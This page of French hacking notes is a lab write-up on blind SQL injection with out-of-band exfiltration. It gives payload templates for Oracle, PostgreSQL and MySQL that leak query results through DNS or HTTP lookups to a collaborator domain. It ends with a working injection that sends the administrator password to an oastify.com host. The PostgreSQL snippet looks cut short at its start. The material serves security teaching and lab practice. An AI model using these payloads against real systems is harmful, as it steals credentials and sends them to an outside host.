> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# Exfiltration de données par injection SQL via chaîne OOB

### Injection SQL aveugle avec exfiltration de données hors bande

Ce laboratoire contient une vulnérabilité d'injection SQL aveugle. L'application utilise un cookie de suivi pour l'analyse et exécute une requête SQL contenant la valeur du cookie soumis. / La requête SQL est exécutée de manière asynchrone et n'affecte pas la réponse de l'application. Cependant, il est possible de déclencher des interactions hors bande avec un domaine externe. / La base de données contient une table distincte nommée `users`, avec `le nom d'utilisateur` et `mot de passe` colonnes. Vous devez exploiter la vulnérabilité SQL aveugle pour découvrir le `administrateur` mot de passe de l'utilisateur.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgreSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* MySQL

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Récupérer le mot de passe de l'administrateur (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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